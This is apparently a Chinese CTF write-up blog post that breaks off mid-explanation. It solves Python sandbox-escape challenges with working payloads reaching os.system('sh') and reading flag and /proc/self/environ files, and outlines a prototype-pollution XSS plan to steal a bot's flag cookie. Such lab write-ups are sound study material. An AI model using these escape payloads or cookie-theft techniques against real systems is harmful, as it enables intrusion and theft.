持续更新中…
Pyjail ! It’s myAST !!!!
题目描述
至少见一面让我当面道歉好吗?(╥﹏╥)
我也吓了一跳,没想到事情会演变成那个样子…(╥﹏╥)
所以我想好好说明一下(╥﹏╥)
我要是知道就会阻止她们的,但是明明已经被AST检测过的代码还是执行了(╥﹏╥)
没能阻止大家真是对不起…(╥﹏╥)
你在生气对吧…(╥﹏╥)
我想你生气也是当然的(╥﹏╥)
但是请你相信我。user_input,本来不会通过我们预期的is_safe函数(╥﹏╥)
真的很对不起(╥﹏╥)
我答应你再也不会放人选手执行任意代码了(╥﹏╥)
我会让保证没有代码可以绕过我的AST过滤(╥﹏╥)
能不能稍微谈一谈?(╥﹏╥)
我真的把python AST的一切看得非常重要(╥﹏╥)
所以说,当代码被bypass的时候我和你一样难过(╥﹏╥)
我希望你能明白我的心情(╥﹏╥)
拜托了。我哪里都会去的(╥﹏╥)
我也会好好跟你说明我这么做的理由(╥﹏╥)
我想如果你能见我一面,你就一定能明白的(╥﹏╥)
我是你的同伴(╥﹏╥)
我好想见你(╥﹏╥)
(neta from hackergame2023)
挽留无果后,现在is_safe函数变得更加困难.你能通过层层检查拿到flag吗?
题目
➜ ~ nc 8.147.133.154 38570
_____ _ _ _ _ _____ _ _ _____ _______ _ _ _ _
| __ \ (_) (_) | | | |_ _| | ( ) /\ / ____|__ __| | | | | |
| |__) | _ _ __ _ _| | | | | | | |_|/ ___ _ __ ___ _ _ / \ | (___ | | | | | | |
| ___/ | | || |/ _` | | | | | | | | __| / __| | '_ ` _ \| | | | / /\ \ \___ \ | | | | | | |
| | | |_| || | (_| | | | |_| _| |_| |_ \__ \ | | | | | | |_| |/ ____ \ ____) | | | |_|_|_|_|
|_| \__, || |\__,_|_|_| (_) |_____|\__| |___/ |_| |_| |_|\__, /_/ \_\_____/ |_| (_|_|_|_)
__/ |/ | __/ |
|___/__/ |___/
| Options:
| [G]et Challenge Source Code
| [E]nter into Challenge
| [Q]uit
题目代码
import ast
BAD_ATS = {
ast.Attribute,
ast.Subscript,
ast.comprehension,
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign,
ast.AnnAssign,
ast.Constant,
ast.ClassDef,
ast.AsyncFunctionDef,
}
BUILTINS = {
"bool": bool,
"set": set,
"tuple": tuple,
"round": round,
"map": map,
"len": len,
"bytes": bytes,
"dict": dict,
"str": str,
"all": all,
"range": range,
"enumerate": enumerate,
"int": int,
"zip": zip,
"filter": filter,
"list": list,
"max": max,
"float": float,
"divmod": divmod,
"unicode": str,
"min": min,
"range": range,
"sum": sum,
"abs": abs,
"sorted": sorted,
"repr": repr,
"object": object,
"isinstance": isinstance
}
def is_safe(code):
if type(code) is str and "__" in code:
return False
for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
if type(x) in BAD_ATS:
return False
return True
if __name__ == "__main__":
user_input = ""
while True:
line = input()
if line == "":
break
user_input += line
user_input += "\n"
if is_safe(user_input) and len(user_input) < 1800:
exec(user_input, {"__builtins__": BUILTINS}, {})
目前思路
ast.Attribute, #属性操作 obj.xxx
ast.Subscript, #切片操作 obj[xxx]
ast.comprehension, # 列表生成式
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign, #赋值
ast.AnnAssign, #带注释的赋值
# 用函数定义传参绕过
ast.Constant, #常量
# 用类型转换绕过+运算符绕过
ast.ClassDef, #类定义
ast.AsyncFunctionDef, # 异步函数定义
# 可以定义函数
# 可以定义lambda
AST绕过参考
绕过AST解析的python沙箱逃逸方法 – TonyCrane’s Blog
CTF Pyjail 沙箱逃逸绕过合集 – 先知社区 (aliyun.com)
ast — Abstract Syntax Trees — Python 3.12.1 documentation
test demo
def x(a):
return f"{all}",a,str(a),int(a==a)
assert []==(), [x([]),__builtins__,[a:=str([]) if []==[]else[]],str(repr(x))]
赛后复现
结束后问了出题人,属性操作使用match case语句去绕过
平时很少用match case,对该语句的理解仅停留在C99的层面,通过查阅python文档发现python的match case语句存在比较多的语法糖,功能强大且复杂,这里仅对解题用到的部分作简单介绍
一般的match case:
def test_match_case(a):
match a:
case 1:print("a=1")
case 2:print("a=2")
case _:print("a=other")
test_match_case(1) # a=1
test_match_case(3) # a=other
python里可以在case语句中使用变量来接收match的值,比如
def test_match_case_2(a):
match a:
case 1:print("a=1")
case 2:print("a=2")
case b:print(f"a={b}")
test_match_case_2(1) # a=1
test_match_case_2(3) # a=3
对于复杂的match对象也是如此,可通过该方式获取对象的子对象
def test_match_case_3(a,b):
match a,b:
case 1,1:print("a=1,b=1")
case (2,2):print("a=2,b=2")
case (3,c):print(f"a=3,b={c}")
case (d,c):print(f"a={d},b={c}")
test_match_case_3(1,1) # a=1,b=1
test_match_case_3(2,2) # a=2,b=2
test_match_case_3(1,2) # a=1,b=2
test_match_case_3(3,("a","b")) # a=3,b=('a', 'b')
可以通过该方式获取对象的成员属性,还可以通过if语句筛选是否进入当前case语句
def test_match_case_4(a):
match a:
case str(b,__class__=c):print(b,c,a,a.__class__)
case int(b,__class__=c):print(b,c,a,b.__class__)
case object(__class__=c):print(c,a.__class__)
test_match_case_4("abc2") # abc2 <class 'str'> abc2 <class 'str'>
test_match_case_4(123) # 123 <class 'int'> 123 <class 'int'>
test_match_case_4(list) # <class 'type'> <class 'type'>
test_match_case_4([]) # <class 'list'> <class 'list'>
因此可以通过该方式使用ssti中常见的继承链,比如
list.__bases__[0].__subclasses__()[106].__init__.__globals__['__import__']('os').system('sh')
P.S. list.__bases__[0].__subclasses__()[106]
为 <class '_frozen_importlib.ModuleSpec'>
,具体下标以题目环境为准
初步编写的exp如下
[zero:=()!=(),one:=()==(),two:=one+one,four:=two*two,eight:=four*two,sixteen:=eight*two,thirty_two:=sixteen*two,sixty_four:=thirty_two*two]
match bytes:
case object(decode=decode):
pass
match list:
case object(__bases__=base,__getitem__=getitem):
# print(base)
match base:
case (a,):
# print(a)
match a:
case object(__subclasses__=subclass):
match list(enumerate(subclass())):
case b:
# assert (),b
match getitem(b,sixty_four+thirty_two+eight+two): # __subclasses__[106]
case c,d:
match d:
case object(__init__=init):
# print(init)
match init:
case object(__globals__=glob):
# print(glob)
match glob:
case dict(values=value):
match list(enumerate(value())):
case e:
# assert (),e
match getitem(e,thirty_two+sixteen+four): # __globals__[52] = __import__ 具体下标依据题目环境进行变更
case f,imp:
match imp(decode(bytes([sixty_four+thirty_two+sixteen-one,sixty_four+thirty_two+sixteen+two+one]))):
case object(system=system):
system(decode(bytes([sixty_four+thirty_two+sixteen+two+one,sixty_four+thirty_two+eight])))
精简整理后的exp:
[one:=()==(),two:=one+one,four:=two*two,eight:=four*two,sixteen:=eight*two,thirty_two:=sixteen*two,sixty_four:=thirty_two*two]
match bytes:
case object(decode=decode):pass
match list:
case object(__bases__=(object(__subclasses__=subclass),),__getitem__=getitem):pass
match getitem(list(subclass()),sixty_four+thirty_two+eight+two):
case object(__init__=object(__globals__=dict(values=value))):pass
match getitem(list(value()),thirty_two+sixteen+four)(decode(bytes([sixty_four+thirty_two+sixteen-one,sixty_four+thirty_two+sixteen+two+one]))):
case object(system=system):
system(decode(bytes([sixty_four+thirty_two+sixteen+two+one,sixty_four+thirty_two+eight])))
Pyjail ! It’s myRevenge !!!
题目源码
_____ _ _ _ _ _____ _ _ ______ _____ _ _______ ______ _____ _ _
| __ \ (_) (_) | | | |_ _| | ( ) | ____|_ _| | |__ __| ____| __ \ | | |
| |__) | _ _ __ _ _| | | | | | | |_|/ ___ _ __ ___ _ _| |__ | | | | | | | |__ | |__) | | | |
| ___/ | | || |/ _` | | | | | | | | __| / __| | '_ ` _ \| | | | __| | | | | | | | __| | _ / | | |
| | | |_| || | (_| | | | |_| _| |_| |_ \__ \ | | | | | | |_| | | _| |_| |____| | | |____| | \ \ |_|_|
|_| \__, || |\__,_|_|_| (_) |_____|\__| |___/ |_| |_| |_|\__, |_| |_____|______|_| |______|_| \_\ (_|_)
__/ |/ | __/ |
|___/__/ |___/
Python Version:python3.10
Source Code:
import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
print("Player! It's already banned!")
pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback
vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback
del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")
blacklist_words_var_name_fake_in_local_real_in_remote = [
"subprocess",
"os",
"code",
"interact",
"pty",
"pdb",
"platform",
"importlib",
"timeit",
"imp",
"commands",
"popen",
"load_module",
"spawn",
"system",
"/bin/sh",
"/bin/bash",
"flag",
"eval",
"exec",
"compile",
"input",
"vars",
"attr",
"dir",
"getattr"
"__import__",
"__builtins__",
"__getattribute__",
"__class__",
"__base__",
"__subclasses__",
"__getitem__",
"__self__",
"__globals__",
"__init__",
"__name__",
"__dict__",
"._module",
"builtins",
"breakpoint",
"import",
]
def my_filter(input_code):
for x in blacklist_words_var_name_fake_in_local_real_in_remote:
if x in input_code:
return False
return True
while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
input_code = eval(f"f'{input_code}'")
else:
print("Player! Please obey the filter rules which I set!")
Can u input your code to escape >
题解
-
{print([(i,j) for i,j in enumerate(locals())])}
获取blacklist_words_var_name_fake_in_local_real_in_remote 及其下标 -
{locals()[list(locals().keys())[20]].clear()}{{{"inp"+"ut"}()}}
清除黑名单 -
{["",locals().pop("__imp"+"ort__")][0]}{{input()}}
解除对import的覆盖 -
{["",print(__import__("os").listdir("."))][0]}{{input()}}
发现flag文件 -
{print(open(__import__("os").listdir(".")[0],"r").read())}
读取获得flag
解释
这道题就是MyFilter的升级版,就不另外讲myfilter了
myfilter只需要 {print(open("/proc/self/environ","r").read())}
本题的关键点有三个
-
利用while循环执行eval的执行结果,不受64字符限制来无限执行指令,关键在于
{{{'in'+'put'}()}}
eval后变成{input()}
传递给下一次eval -
使用locals()[‘blacklist’].clear()清楚黑名单
-
使用locals().pop解除对屏蔽的方法和函数的覆盖
石头剪刀布
题目描述
好像这个预测模型有点问题?????
题目源码
# server.py
from sklearn.naive_bayes import MultinomialNB
import time
import random
from hashlib import *
# 定义决策表示
ROCK = 0
PAPER = 1
SCISSORS = 2
X_train = []
y_train = []
model = None
total_rounds = 100
player_score = 0
sequence = []
# 定义决策名称
CHOICES = {
ROCK: "石头",
PAPER: "剪刀",
SCISSORS: "布"
}
def train_model(X_train, y_train):
model = MultinomialNB()
model.fit(X_train, y_train)
return model
def predict_opponent_choice(model, X_pred):
return model.predict(X_pred)
def predict(i,my_choice):
global sequence
model = None
if i < 5:
opponent_choice = [random.randint(0, 2)]
else:
print(X_train,y_train)
model = train_model(X_train, y_train)
opponent_choice = predict_opponent_choice(model, [sequence])
X_train.append(sequence[-5:])
sequence.append(my_choice)
y_train.append(my_choice)
# ...Constructing a training set...#
return opponent_choice
def play_game(flag):
global player_score
for i in range(total_rounds):
start_time = time.time()
my_choice = None
opponent_choice = [random.randint(0, 2)]
my_choice = int(input("请出拳(0 - 石头,1 - 剪刀,2 - 布):"))
end_time = time.time()
if end_time - start_time > 5:
print("超时!!!")
break
if my_choice not in {0, 1, 2}:
print("错误的输入")
break
opponent_choice = predict(i,my_choice)
landa = (opponent_choice[0] - 1) % 3
print("你的出拳:", CHOICES[my_choice])
print(f"Me10n出拳:{CHOICES[landa]}")
if (my_choice + 1) % 3 == landa:
print("你赢了!")
player_score += 3
elif (landa + 1) % 3 == my_choice:
print("Me10n赢了!")
player_score += 0
else:
print("平局!")
player_score += 1
print("你的分数:", player_score)
print("-----------------------------------")
if player_score >= 260:
print("你获得了flag:"+flag+"")
break
print("游戏结束")
print("你的分数:", player_score)
print("++++++++++++++++++++++++++++++++++++++++++++++++++")
print("Landa和他的好兄弟Me10n很喜欢玩石头剪刀布,但是他老是输给Me10n。于是他写了个程序来帮他出拳,你来挑战一下吧!")
print("平局得1分,赢得3分,输得0分。100局中如果你能得到260分就送你一个flag作为奖励吧!注意出拳要快!")
print("++++++++++++++++++++++++++++++++++++++++++++++++++")
with open('flag' , 'r' ) as f:
flag = f.read()
# play_game(flag)
题解
from pwn import *
from server import predict,CHOICES,X_train,sequence,y_train
context.log_level='debug'
io=remote("8.147.135.177",13255)
for i in range(100):
print("rand",i)
io.recvuntil("请出拳(0 - 石头,1 - 剪刀,2 - 布):".encode("utf-8"))
opponent_choice = predict(i)
landa = (opponent_choice[0] - 1) % 3
print(f"预测出拳:{CHOICES[landa]}")
my_choice= (landa - 1) %3
io.send(f"{my_choice}\n".encode("utf-8"))
print("你的出拳:", CHOICES[my_choice])
io.recvuntil("Me10n出拳:".encode("utf-8"))
res=io.recv(6)
print("Me10n出拳:",res.split(b"\n")[0].decode("utf-8"))
if len(sequence)>=4:
X_train.append(sequence[-4:])
y_train.append(my_choice)
sequence.append(my_choice)
解释
查了一下MultinomialNB就是朴素贝叶斯,根据你之前出招的概率来预测你的下一次出拳
一般训练数据为a*b的矩阵X和b个元素的向量Y,X为b组输入,每组a个元素,Y为对应的b组输出,训练完后向模型输入a个元素来预测对应的输出
提供的题目源码有一行注释表示在每轮预测后会构建训练数据集,并且该函数接受的user_input并没有被使用,所以应该就是用在注释处被删掉的构建训练数据集的代码里的
只要能补齐删掉的代码,我们就能在本地跑一个和服务器端逻辑完全相同的AI,同样的输入必然获得相同的输出,于是就能提前知道服务器的出招。
题目源码中从第六轮开始训练模型,所以猜测第六轮的时候输入了前5轮的数据进行了训练,因此猜测矩阵X的a=5,但是经过验证和服务端逻辑不符,然后猜测a=3,依旧不符,最后猜测a=4,发现预测结果和服务器出招完全一致。
Wabby Wabbo Radio
题目内容:
歪比八卜
题解
访问后是一个web页面,通过查看源代码,访问/play,获取到其中wav的路径static/audios/hint1.wav,多次访问获取到不同的wav文件,flag.wav;xh1-xh5.wav;hint1.wav,hint2.wav
下载音频文件用AU打开后发现是莫尔斯电码
各个WAV解码如下:
hint:DO YOU KNOW QAM? MAY BE FLAG IS PNG PICTURE
xh1: THE WEATHER IS REALLY NICE TODAY.IT'SAGREATDAY TO LISTEN TO THEW ABBYWABBO RADIO
xh2: GENSHIN IMPACT STARTS
xh3: DOYOUWANTAFLAG?LET'SLISTENALITTLELONGER
xh4: DOYOUWANTAHINT?LET'SLISTENALITTLELONGER
xh5: IFYOUDON'TKNOWHOWTODOIT,YOUCANGO AHEAD AND DOSOMETHING ELSE FIRST
根据hint是QAM编码,并且已知解码后为图片
Audition查看flag.wav是32位浮点,以为是32位QAM,但是将音频用python读取为数组后发现坐标只有16种,所以应该是16位QAM
从网上找的QAM解码脚本,来自16QAM调制和解调 python_mob649e8162842c的技术博客_51CTO博客
但是解出来为乱码,发现星座图坐标和二进制值的对应关系不是固定的,打印音频读取的数组前几个元素如下,
[1, -3]
[1, -1]
[-1, -1]
[-3, -3]
[-1, -3]
[3, 1]
[-1, -3]
[-1, 3]
16位QAM的一个坐标表示一个4位二进制数,所以如果是JPG文件的话,JPG文件头第一个字节为0xFF,前两个坐标应该是一样的,这里不一样所以不是,故猜测应该为PNG、bmp等。
猜测为png的话,前8个坐标应该对应其前4个字节0x89504E47(‰PNG),从而推测16QAM星座图如下
↑
3 7 | b f
2 6 | a e
-----+------>
1 5 | 9 d
0 4 | 8 c
完整解码脚本如下
import numpy as np
import scipy.io.wavfile as wav
# 星座图
constellation = {
0: (-3, -3),#
1: (-3, -1),#
2: (-3, 1),
3: (-3,3),
4: (-1, -3),#
5: (-1, -1),#
6: (-1, 1),
7: (-1, 3),#v
8: (1,-3),#
9: (1, -1),#
10: (1, 1),
11: (1, 3),
12: (3, -3),
13: (3, -1),
14: (3, 1),#v
15: (3, 3)
}
# 16QAM解调
def qam16_demodulation(symbols):
hexi=bytearray()
bits = 0
i=0
for symbol in symbols:
index = min(constellation, key=lambda x: np.abs(constellation[x][0] - symbol[0]) + np.abs(constellation[x][1] - symbol[1]))
# print(index,format(index, '04b'))
bits <<=4
bits+=index
i+=1
if i==2:
i=0
# print(bits)
hexi.append(bits)
bits=0
return hexi
rt, wavsignal = wav.read('flag.wav')
print("sampling rate = {} Hz, length = {} samples, channels = {}, dtype = {}".format(rt, *wavsignal.shape, wavsignal.dtype))
print(wavsignal)
i=0
symbols=[[round(a),round(b)] for a,b in wavsignal]
for i in range(8):
print(symbols[i])
decoded_bits = qam16_demodulation(symbols)
print(decoded_bits)
open("1.png","wb").write(decoded_bits)
SpeedUp
题目
计算 $$(2^{27})!$$ 的各位数字之和
题解
- 有个网站已经打完表了 https://oeis.org/search?q=1%2C2%2C6%2C9%2C63&language=english&go=Search
- GMP大数库二分递归 复杂度o(logN),比赛时用的是循环求阶乘,O(N)的复杂度已经裂开了
html
题目源码
本题主要逻辑就两个文件front/src/html.js
和bot/index.ts
,此外还有个front/src/index.ts
负责载入和缓存payload,front/index.html
是题目页面的源码
html.js
(() => {
const htmlRef = /html:([^(]*).*\(\)/;
const global = {};
const isBlacklisted = Array.prototype.includes.bind(["__proto__", "prototype", "constructor"]);
const commands = {
// ===============================
// Literals
// ===============================
// Maybe it's too dangerous, begin by making calculations
// "s": function (elt, env) { // push string onto stack
// env.stack.push(elt.innerText);
// },
"data": function (elt, env) { // push number onto stack
env.stack.push(Number.parseFloat(elt.innerText));
},
"ol": function (elt, env) { // create list
let children = elt.children;
let initialLength = env.stack.length;
let result = [];
for (const child of children) {
exec(child.firstElementChild, child, env);
result.push(env.stack.pop());
env.stack.length = initialLength;
}
env.stack.push(result);
},
// ===============================
// Math Commands
// ===============================
"dd": function (elt, env) { // add two numbers on top of stack
let top = env.stack.pop();
let next = env.stack.pop();
if (typeof top !== "number" || typeof next !== "number") {
console.error("Cannot add ", top, " and ", next);
return null;
}
env.stack.push(next + top);
},
"sub": function (elt, env) { // sub two numbers on top of stack
let top = env.stack.pop();
let next = env.stack.pop();
if (typeof top !== "number" || typeof next !== "number") {
console.error("Cannot subtract ", top, " and ", next);
return null;
}
env.stack.push(next - top);
},
"ul": function (elt, env) { // multiply two numbers on top of stack
let top = env.stack.pop();
let next = env.stack.pop();
if (typeof top !== "number" || typeof next !== "number") {
console.error("Cannot multiply ", top, " and ", next);
return null;
}
env.stack.push(next * top);
},
"div": function (elt, env) { // divide two numbers on top of stack
let top = env.stack.pop();
let next = env.stack.pop();
if (typeof top !== "number" || typeof next !== "number") {
console.error("Cannot divide ", top, " and ", next);
return null;
}
env.stack.push(next / top);
},
// ===============================
// Stack Manipulation Commands
// ===============================
"dt": function (elt, env) { // duplicate top of stack
env.stack.push(env.stack.at(-1));
},
"del": function (elt, env) { // deletes the top of stack
env.stack.pop();
},
// ===============================
// Comparison Commands
// ===============================
"big": function (elt, env) { // next > top
let top = env.stack.pop();
let next = env.stack.pop();
env.stack.push(next > top);
},
"small": function (elt, env) { // next < top
let top = env.stack.pop();
let next = env.stack.pop();
env.stack.push(next < top);
},
"em": function (elt, env) { // equal, mostly
let top = env.stack.pop();
let next = env.stack.pop();
env.stack.push(next == top);
},
// ===============================
// Logical Operators
// ===============================
"b": function (elt, env) { // logical and
let top = env.stack.pop();
let next = env.stack.pop();
env.stack.push(top && next);
},
"bdi": function (elt, env) { // logical not (invert)
let top = env.stack.pop();
env.stack.push(!top);
},
"bdo": function (elt, env) { // logical or
let top = env.stack.pop();
let next = env.stack.pop();
env.stack.push(next || top);
},
// ===============================
// Control Flow
// ===============================
"i": function (elt, env) { // conditionally execute child instructions if true is on the top of the stack
let topOfStack = env.stack.pop();
if (topOfStack) {
return elt.firstElementChild;
}
},
"rt": function() { // return by returning null
return null;
},
"a": function (elt, env) { // either jump or invoke a function
let href = elt.getAttribute("href");
let regexMatch = htmlRef.exec(href);
if (regexMatch) {
let functionName = regexMatch.at(1);
// collect args
let args = [];
if (elt.firstElementChild) {
let initialLength = env.stack.length;
exec(elt.firstElementChild, elt, env);
let finalLength = env.stack.length;
args = env.stack.slice(initialLength, finalLength);
env.stack.length = initialLength;
}
if (!functionName in env.scope.functions) {
console.error("Cannot invoke ", functionName);
return null;
}
let result = null;
result = env.scope.functions[functionName](...args);
if (typeof result != "undefined") {
env.stack.push(result);
}
} else {
return document.getElementById(href.substring(1));
}
},
// ===============================
// Variables
// ===============================
"var": function (elt, env) {
let topOfStack = env.stack.pop();
let variableName = elt.innerText;
if (isBlacklisted(variableName)) {
console.error("Cannot store ", variableName);
return null;
}
env.scope[variableName] = topOfStack;
},
"label": function (elt, env) { // stores a variable in the global scope
let topOfStack = env.stack.pop();
let variableName = elt.innerText;
if (isBlacklisted(variableName)) {
console.error("Cannot store ", variableName);
return null;
}
global[variableName] = topOfStack;
},
"cite": function (elt, env) { // loads a variable
let variableName = elt.innerText;
if (isBlacklisted(variableName)) {
console.error("Cannot load ", variableName);
return null;
}
env.stack.push(env.scope[variableName] || global[variableName]);
},
// ===============================
// I/O
// ===============================
"input": function (elt, env) { // get input from user
let value = prompt(elt.getAttribute('placeholder'));
env.stack.push(value = Number.parseFloat(value));
},
"output": function (elt, env) { // outputs to standard out
let top = env.stack.at(-1);
env.scope.functions.out(top);
},
"dl": function (elt, env) { // debug output
env.scope.functions.out(elt.innerText, "stack:", env.stack, "vars:", env.scope)
},
// ===============================
// Arrays
// ===============================
"address" : function (elt, env) { // read an offset into an array on the top element on the stack
let index = env.stack.pop();
let array = env.stack.pop();
if (!Array.isArray(array) || !array.hasOwnProperty(index) || isBlacklisted(index)) {
console.error(`Cannot read ${index} from ${array}`);
return null;
}
env.stack.push(array[index]);
},
"ins" : function (elt, env) { // insert the top of the stack into the array third from the top at index second
let val = env.stack.pop();
let array = env.stack.pop();
array.push(val);
},
"fieldset" : function (elt, env) { // set a value in an array to the top of the stack
let val = env.stack.pop();
let index = env.stack.pop();
let array = env.stack.pop();
if (isBlacklisted(index)) {
console.error("Cannot set ", index);
return null;
}
array[index] = val;
},
// ===============================
// Functions
// ===============================
"dfn": function (elt, env) {},
// ===============================
// Programs
// ===============================
"main": function (elt, env) {
return elt.firstElementChild;
},
"body": function (elt, env) {
return elt.firstElementChild;
},
};
function nextEltToExec(elt) {
if (elt == null || elt.matches("body, main")) {
return null;
} else if (elt.nextElementSibling) {
return elt.nextElementSibling;
} else {
return nextEltToExec(elt.parentElement);
}
}
function defineFunctions(sourceOrElt, env) {
let definitions = sourceOrElt.querySelectorAll(':scope > dfn');
for (const definition of definitions) {
if (definition.parentElement.tagName !== "MAIN") {
console.error("Function defined at ", definition, " does not have a parent MAIN element, instead found ", definition.parentElement);
continue;
}
const funcName = definition.id;
env.scope.functions[funcName] = function () {
var args = Array.from(arguments);
let env = makeEnv();
env.stack.push(...args);
if (definition.firstElementChild) {
exec(definition.firstElementChild, definition, env);
}
let val = env.stack.pop();
return val;
};
}
}
function makeEnv() {
const env = {
stack: [],
scope: { // start with standard variables for common values
true:true,
false:false,
null:null,
functions: {
out: (...args) => alert(...args),
},
},
};
return env;
}
function exec(sourceOrElt, root, env) {
if (sourceOrElt == null) {
console.error("No html source detected")
return;
}
// set the root element if necessary
root ||= sourceOrElt;
// create an environment if necessary
env ||= makeEnv();
// set the current element to execute
let eltToExec = sourceOrElt;
// define all functions within the element
defineFunctions(eltToExec, env);
do {
// resolve command for the current element
const tagName = eltToExec.tagName.toLowerCase();
if (!commands.hasOwnProperty(tagName)) {
console.error(`Could not find command definition for "${tagName}"`);
break;
}
let commandForElt = commands[tagName];
// invoke command and get next element
var next = commandForElt(eltToExec, env);
if (next === undefined) {
eltToExec = nextEltToExec(eltToExec);
} else {
eltToExec = next;
}
// if the next element is outside the root, we are done
if (!root.contains(eltToExec)){
return;
}
} while (eltToExec)
}
document.querySelector("#run").addEventListener("click", function () {
exec(new DOMParser().parseFromString(atob(location.hash.slice(1)), "text/html").querySelector('main'));
});
document.querySelector("#report").addEventListener("click", function () {
fetch('/api/report', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
program: location.hash.slice(1),
}),
}).then(res => res.json()).then(res => {
if (!res.success) {
alert("Excution failed");
} else {
alert(res.result);
}
});
});
})();
bot/index.ts
import puppeteer, { Browser, Dialog, Page } from "puppeteer";
import express from "express";
const FLAG = process.env.FLAG || "flag{FAKE_FLAG}";
const app = express();
app.use(express.static("public"));
app.use(express.json());
let browser: Browser;
async function initBrowser() {
browser = await puppeteer.launch({
headless: true,
args: ["--disable-gpu", "--no-sandbox"],
executablePath: "/usr/bin/chromium-browser",
});
}
async function testProgram(page: Page, base64Program: string) {
const msgs: string[] = [];
page.setCookie({
name: "FLAG",
value: FLAG,
domain: "127.0.0.1",
});
await page.goto(`http://127.0.0.1:3000/#${base64Program}`, {
waitUntil: "load",
});
page.on("dialog", (dialog: Dialog) => {
msgs.push(dialog.message());
dialog.dismiss().catch(() => {});
});
page
.evaluate(() => {
document.querySelector<HTMLElement>("#run")!.click();
})
.catch(() => {});
await page.waitForTimeout(10000);
const output = msgs.join("\n");
if (output) return `Nice program! Here is the output:\n\n${output}`;
else return "WTF is going on? no output";
}
app.post("/api/report", async (req, res) => {
const program = `${req.body.program}`;
const ctx = await browser.createIncognitoBrowserContext();
const page = await ctx.newPage();
try {
const result = await testProgram(page, program);
return res.send({ success: true, result });
} catch (e) {
console.error(e);
return res.send({ success: false });
} finally {
page.close();
}
});
app.listen(3000, async () => {
await initBrowser();
console.log("Bot ready, listening on port 3000");
});
front/src/index.ts
import { createEditor } from "./editor";
function save(code: string) {
const hash = window.btoa(code);
location.hash = hash;
}
function load() {
return (
window.atob(location.hash.slice(1)) || `<main id="main">\n \n</main>`
);
}
async function main() {
const container = document.getElementById("editor");
if (!container) return;
const code = load();
save(code);
const { onChange } = await createEditor(container, code);
onChange((code) => {
save(code);
});
}
window.addEventListener("DOMContentLoaded", main);
index.html
{{>header}}
<div id="editor"></div>
<div id="actions">
<button id="report">🙋 Report</button>
<button id="run">▶️ Run</button>
</div>
<script type="module" src="./src/html.js"></script>
<script type="module" src="./src/index.ts"></script>
{{>footer}}
理解题目
打开题目是一个文本编辑器加上运行和报告两个按钮,文本编辑器中有html代码
查看front/index.html
可知题目页面的逻辑主要由front/src/index.ts
和front/src/html.js
实现
front/src/index.ts
可以看到页面打开时会将location.hash.slice(1)
进行base64解码后放入文本编辑器中,文本编辑器会在内容变更的时候将更新后的内容base64编码后存入location.hash
。该文件和解题关系不大
front/src/html.js
实现点击运行按钮时将文本编辑器中的代码交由exec
函数运行,点击提交按钮时将文本编辑器中的代码base64编码后提交到3000端口的bot
bot/index.ts
中可以看到 bot 会将flag存入cookie并在题目页面运行我们提交的代码,因此我们需要构造能够在题目页面获取cookie的代码
为此,我们需要去理解exec是如何运行文本编辑器中的代码的,作者提供了大量注释,通过注释显而易见这是使用javascript实现了一个特殊的html解释器,实现了基本算术运算、栈操作、符号表和函数等功能。
其中让尤其让人引起注意的是出题人设置了黑名单
const isBlacklisted = Array.prototype.includes.bind(["__proto__", "prototype", "constructor"]);
并且在多个位置使用该黑名单限制了对js对象的成员属性的操作,例如
if (isBlacklisted(variableName)) {
console.error("Cannot store ", variableName);
return null;
}
env.scope[variableName] = topOfStack;
这就让人有种此地无银三百两的感觉,这显然是在防止原型链污染,因此这题估计就是在考如何绕过限制,通过原型链污染XSS注入获取cookie
原型链和原型链污染
这里补充js原型链的小知识
然后再来看本题用到的原型链污染小trick
[].constructor == [].__proto__.constructor
// true
(()=>{}).__proto__ == Function.prototype
// true
Function.prototype.constructor == Function
// true
(()=>{}).constructor==Function
// true
a={}
// {}
a.__proto__=()=>{}
// ()=>{}
a.constructor == Function
// true
Function('return 1+1')()
// 2
a['constructor']('return 1+1')()
// 2
将对象a
的__proto__
覆盖为函数,a.constructor
就继承了函数的constructor
,也就是Function
函数。向Function
函数传入字符串参数,我们能自定义任意函数,调用定义的函数从而实现任意代码执行。
解题过程
检查解释器的实现中所有取数组成员的地方,发现只有两处没有被黑名单限制,即defineFunctions
函数和commands.a
函数,而这两个地方恰好都是env.scope.functions[functionName]
,恰好都和解释器实现的函数功能相关,一个是函数定义,一个是函数调用。
"a": function (elt, env) { // either jump or invoke a function
let href = elt.getAttribute("href");
let regexMatch = htmlRef.exec(href);
if (regexMatch) {
let functionName = regexMatch.at(1);
// collect args
let args = [];
if (elt.firstElementChild) {
let initialLength = env.stack.length;
exec(elt.firstElementChild, elt, env);
let finalLength = env.stack.length;
args = env.stack.slice(initialLength, finalLength);
env.stack.length = initialLength;
}
if (!functionName in env.scope.functions) {
console.error("Cannot invoke ", functionName);
return null;
}
let result = null;
result = env.scope.functions[functionName](...args); //!!! no blacklist
...
},
...
function defineFunctions(sourceOrElt, env) {
let definitions = sourceOrElt.querySelectorAll(':scope > dfn');
for (const definition of definitions) {
if (definition.parentElement.tagName !== "MAIN") {
console.error("Function defined at ", definition, " does not have a parent MAIN element, instead found ", definition.parentElement);
continue;
}
const funcName = definition.id;
env.scope.functions[funcName] = function () { //!!! no blacklist
...
因此我们可以在defineFunctions中控制functionName='__proto__'
,便能覆盖env.scope.functions.__proto__=function(){}
,然后再commands.a里控制functionName='constructor'
,调用env.scope.functions[functionName]
就是调用Function
为了实现执行任意XSS代码,我们还需要解决两个问题:
-
如何控制传入
env.scope.functions[functionName]
的args
为要执行的xss代码args
来自env.stack
,然而解释器的实现中限制了env.stack
中要么是Number
要么是Number
组成的Array
